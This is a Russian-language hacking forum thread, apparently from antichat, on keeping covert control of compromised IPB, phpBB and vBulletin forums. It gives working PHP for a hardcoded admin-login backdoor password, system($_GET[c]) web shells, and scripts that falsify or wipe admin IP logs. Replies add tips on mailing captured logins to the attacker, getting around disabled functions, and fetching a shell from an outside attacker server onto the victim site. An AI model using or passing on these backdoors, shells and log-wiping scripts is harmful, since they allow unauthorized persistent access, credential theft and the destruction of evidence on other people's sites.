Очень часто после получения доступа к форумной части надо оставить лазейку для будущего контролирования админ-панелью.Можно добавить нового админа,можно изменить информацию старого,но есои целью является сохранить доступ то это не наш способ.Я рассмотрю возможность постановки бекдора в двух самых популярных форумных движков - IPB и в печально известнои phpBB. IPB Первое,что приходит на ум - открыть admin.php и найти кусок проверки кода введенного пароля.Находим строку PHP: require_once( ROOT_PATH."sources/action_admin/login.php" ); Проверка корректности пароля происходит в файле login.php,находящемся в папке action_admin.Чтобы облегчить жизнь и не копать кучу кода в поисках нужного блока,пробуем зайти под аккаунтом администратора с заведомо ложным пассом.Получаем ошибку "The password you entered is not correct" и поиском находим место проверки пароля. PHP: if ( $this->ipsclass->converge->converge_authenticate_member( $pass ) != TRUE ) { $this->login_form("The password you entered is not correct"); } Ниже идет код,который в случае выполнения нужных условий,а именно - корректность пары логин\пароль и проверка прав у данного юзера.Если все отлично,выдается уникальная сессия и нас переадресовывают на главную страницу админ панели.Чуть выше блока проверки пароля я поместил данную конструкцию PHP: if (( $this->ipsclass->input['password']) == "antichat") { $sess_id = md5( uniqid( microtime() ) ); $db_string = $this->ipsclass->DB->compile_db_insert_string( array ( 'session_id' => $sess_id, 'session_ip_address' => $this->ipsclass->ip_address, 'session_member_name' => $mem['name'], 'session_member_id' => $mem['id'], 'session_member_login_key' => $mem['member_login_key'], 'session_location' => 'index', 'session_log_in_time' => time(), 'session_running_time' => time(), ) ); $this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")"); $this->ipsclass->input['adsess'] = $sess_id; $this->ipsclass->admin->redirect( $this->ipsclass->vars['board_url']."/admin.".$this->ipsclass->vars['php_ext']."?adsess=".$this->ipsclass->input['adsess']."&".$extra_query, 'Log In Successful' ); exit(); } Пробуем ввести в связке логин существующего админа и пароль antichat - и мы попадаем в админ панель. но мы не ограничимся одним лишь бекдором в админке.В любом скрипте можно вставить подобный код PHP: system("$_GET[c];"); При обращению к скрипту в качестве параметра "c" можно передавать различные команды на выполнение. phpBB В форумах вида phpBB все гораздо проще - логин и пароль проверяется в одном скрипте. В этом месте скрипт сравнивает правильность введенного пароля PHP: if( md5($password) == $row['user_password'] && $row['user_active'] ) Меняем эту строчку на PHP: if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat")) Вводим пароль antichat и успешно логинимся в админ панель.Как и в случае с IPB можно в любом скрипте оставить шелл вида PHP: system("$_GET[c];"); Желатенльно это сделать в таком месте,где будет не очень заметно при анализе логов. * Про то,как поднять права в различных форумах можно прочитать тут
Живая тема . Прикреплю. А почему бы не сделать, PHP: system("$_POST[c];"); ? Менее удобно в юзанье, но проблемы с логами, после такого шелла - отпадают
Чистим логи в ipb и vbulletin Вообщем накатал два скрипта,могут поменять ip адреса в логах пребывания в админ панели или полность очистить таблицу. Возможно где-то еще хранятся айпи,я не в курсе,но по аналогии можно дописать Ах да,скрипты берут информацию для коннекта из конфигурационных файлов форума,те кидать надо в корень сервера. Invision Power Board PHP: <FORM NAME=check METHOD=POST ACTION='?change'> <TD>Change IP To</TD> <TD><INPUT NAME=ip TYPE=text CLASS=text Value=></TD> <TD WIDTH=10%><input class=text type=submit value='change ip'></TD> </Form> <FORM NAME=check METHOD=POST ACTION='?clean'> <TD>Clean Logs</TD> <TD WIDTH=10%><input class=text type=submit value='clean logs'></TD> </Form> <?php if (isset($_GET['change']) || isset($_GET['clean'])) { require_once('./conf_global.php'); $dbtype = $INFO ['sql_driver']; $dbname = $INFO ['sql_database']; $prefix = $INFO ['sql_tbl_prefix']; $server = $INFO ['sql_host']; $sqluser = $INFO ['sql_user']; $sqlpass = $INFO ['sql_pass']; $db = mysql_connect($server,$sqluser, $sqlpass); if (!$db) die ("cannot connect to mysql host"); mysql_SELECT_db($dbname); if (isset($_POST['ip']) && !empty($_POST['ip'])) { $newip = $_POST['ip']; $sql = 'UPDATE `'.$prefix.'admin_logs` SET `ip_address` = '.$newip; $result = mysql_query ($sql) ; if (!$result) die("cannot execute sql query ".mysql_error()); echo "all ip addresses were updated to $newip"; } if (isset($_GET['clean'])) { $sql = 'TRUNCATE TABLE `'.$prefix.'admin_logs`'; $result = mysql_query ($sql) ; if (!$result) die("cannot execute sql query ".mysql_error()); echo "all ip addresses were destroyed"; } } ?> vBulletion Board PHP: <FORM NAME=check METHOD=POST ACTION='?change'> <TD>Change IP To</TD> <TD><INPUT NAME=ip TYPE=text CLASS=text Value=></TD> <TD WIDTH=10%><input class=text type=submit value='change ip'></TD> </Form> <FORM NAME=check METHOD=POST ACTION='?clean'> <TD>Clean Logs</TD> <TD WIDTH=10%><input class=text type=submit value='clean logs'></TD> </Form> <?php if (isset($_GET['change']) || isset($_GET['clean'])) { require_once('./includes/config.php'); $dbtype = $config['Database']['dbtype']; $dbname = $config['Database']['dbname']; $prefix = $config['Database']['tableprefix']; $server = $config['MasterServer']['servername']; $port = $config['MasterServer']['port']; $sqluser = $config['MasterServer']['username']; $sqlpass = $config['MasterServer']['password']; $db = mysql_connect($server,$sqluser, $sqlpass); if (!$db) die ("cannot connect to mysql host"); mysql_SELECT_db($dbname); if (isset($_POST['ip']) && !empty($_POST['ip'])) { $newip = $_POST['ip']; $sql = 'UPDATE `adminlog` SET `ipaddress` = '.$newip; $result = mysql_query ($sql) ; if (!$result) die("cannot execute sql query ".mysql_error()); echo "all ip addresses were updated to $newip"; } if (isset($_GET['clean'])) { $sql = 'TRUNCATE TABLE `adminlog`'; $result = mysql_query ($sql) ; if (!$result) die("cannot execute sql query ".mysql_error()); echo "all ip addresses were destroyed"; } } ?> Ну или скачать = ) http://www.mytempdir.com/915084
Как универсальный метод забекдоривания - в функциях проверки связки пасс - юзер вставить mail() с передачей этой самой связки на ваше мыло.
на моем форуме при попытки взлома мне отсылаеться смс, со всеми данными =)) Иногда даже очень помогает узнать, кто из своих пытаеться взломать форум.
Небольшое замечание: Порой в настройках PHP установлена директива disable_functions со значением "exec, system, passthru и т.п." тогда необходимо использовать eval т.к. всего можно добиться средствами PHP.
А если вот такой код: PHP: <script type="text/javascript"> <!-- function process_form(the_form) { var element_names = new Object() element_names["req_username"] = "Имя" element_names["req_password"] = "Пароль" if (document.all || document.getElementById) { for (i = 0; i < the_form.length; ++i) { var elem = the_form.elements[i] if (elem.name && elem.name.substring(0, 4) == "req_") { if (elem.type && (elem.type=="text" || elem.type=="textarea" || elem.type=="password" || elem.type=="file") && elem.value=='') { alert("\"" + element_names[elem.name] + "\" это поле обязательно для заполнения в этой форме.") elem.focus() return false } } } } return true } // --> </script> Что можно сделать?
Есть какой-нибудь аналог system("$_GET[c];"); в Перле? нужно затроянить форум на Перле, и не знаю че бы туда такого вставить.
Добавлю от себя как я это обошел запихнул код что то типа этого Code: <?php copy($_GET['sh'],sh.'.php');?> т.е при заходе на _http://site.com/index.php?sh=http://ВАШ_СЕРВЕР.ru/ВАШ_ШЕЛЛ.php на серваке создается файл в нутрь которого копируется код вашего шелла.Запускаем наш шелл так _http://site.com/sh.php вот так можно обойти некоторые ограничения например safe mode ON
*************Внимание - Внимание***************** Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение. *************Внимание - Внимание***************** *************Attention - Attention***************** Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning *************Attention - Attention*****************
PHP: if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat")) замечу что в этом случае хоть блаблабла напиши пароль 0 подойдет потомучто не учитываються типы сравниваемых данных === надо. а скрипт от 19 подошел к 22, последней.
ладно - отправкой мыла разобрался теперь стоит вопрос такой все продолжают заходить на форум по кукам , а не вводя пароль поэтому мало паролей приходит Можно ли как нить в админке Ipb сбросить куки чтоб все заново ввели пароль и логин?
форум булка 3.5.4 чего то не получается залить шелл через добавление faq модуля модуль добавляю как написано в теме обзор уязвимостей булки. но чего то при запросах ни ls ни dir не выдаёт ( непогу понять почему. форум не патченый ставили как есть .
Code: if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat")) Светиться ли пользователей antichat в админке как администратор?